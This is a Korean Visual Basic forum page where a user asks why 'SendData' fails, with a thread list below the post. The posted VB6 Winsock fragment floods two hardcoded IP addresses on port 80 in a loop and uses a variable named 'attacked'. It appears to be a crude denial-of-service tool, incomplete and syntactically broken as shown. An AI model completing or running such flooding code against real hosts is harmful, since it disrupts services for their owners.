Send Data 가 안돼요
냐하
Private Sub Command1_Click()
Winsock1.Protocol = sckTCPProtocol
Winsock2.Protocol = sckTCPProtocol
Winsock3.Protocol = sckTCPProtocol
On Error Resume Next
If Text1.Enabled = False Then Exit Sub
Randomize
attacked = 0
Text1.Enabled = False
Text2.Enabled = False
Text3.Enabled = False
Text4.Enabled = False
Text5.Enabled = False
Dim random As Integer
random = Int(Rnd * 2) + 1
Select Case random
Case 1
Winsock1.RemoteHost = 207.29.225.145
Winsock2.RemoteHost = 207.29.225.145
Case 2
Winsock1.RemoteHost = 206.223.154.230
Winsock2.RemoteHost = 206.223.154.230
End Select
Winsock1.RemotePort = 80
Winsock2.RemotePort = 80
Winsock1.LocalPort = 2043
Winsock2.LocalPort = 2043
Do Until Text1.Enabled = True
Winsock1.SendData Text3
Winsock2.SendData Text4
Winsock3.SendData Text5
Winsock1.SendData Text4
Winsock1.SendData Text4
번호 | 제 목 | 글쓴이 | 날짜 |
---|---|---|---|
2655492 | 포함된 문자로 파일명 검색하기? (5) | 모아 | 2024-05-20 |
2655472 | winhttp를 이용해 네이버 로그인에 성공했을때... | 개구리 | 2024-05-20 |
2655417 | VB로 프로세스 어떻게잡아요?? settini 나오게 또어떻게하나요? (3) | 모해 | 2024-05-19 |
2655384 | 비베로 클래스파일 실행하기 (5) | 달달한캔디 | 2024-05-19 |
2655362 | 컴파일시 오류 ㅠㅠ | 맨삶이 | 2024-05-19 |
2655329 | 트레이너 질문. 핫키를누르면 적용됫다가풀림 (1) | SweetChoco | 2024-05-18 |
2655300 | 특정 프로그램 루프문으로 팅기게 하고싶은데 (2) | 애교 | 2024-05-18 |
2655272 | 강좌소스확인하는법좀요 | 말달리자 | 2024-05-18 |
2655243 | 파일크기비교 | 혜윤 | 2024-05-18 |
2655211 | 우엉~ Winhttp 겁나 급해요 ㅜㅜ (2) | 정훈 | 2024-05-17 |
2655185 | 화면의 x좌표 가장큰값 구하기 질문 (1) | 해길 | 2024-05-17 |
2655158 | 이거 강좌를 받앗는대 어떻개따라해요? | 하람 | 2024-05-17 |
2655130 | 컴퓨터 사운드 녹음 질문 | 갤쓰리 | 2024-05-17 |
2655073 | 폼끄기 질문 다시합니다 | 해찬솔 | 2024-05-16 |
2654987 | 메세지 박스 질문입니다 ~ (3) | 안다미로 | 2024-05-15 |
2654960 | 블로그 글쓰기 질문 (2) | 힘찬 | 2024-05-15 |
2654931 | 질문 하나 하겠습니다 .!! | 소윤 | 2024-05-15 |
2654904 | 비베 질문요 ㅠㅠ | 미련곰탱이 | 2024-05-15 |
2654851 | 미투데이에 글을 다는 소스를 만들어보려고 하는데 | 횃불 | 2024-05-14 |
2654822 | 원하는 이미지만 꼭 찝어서 냅두기 (3) | 다솜 | 2024-05-14 |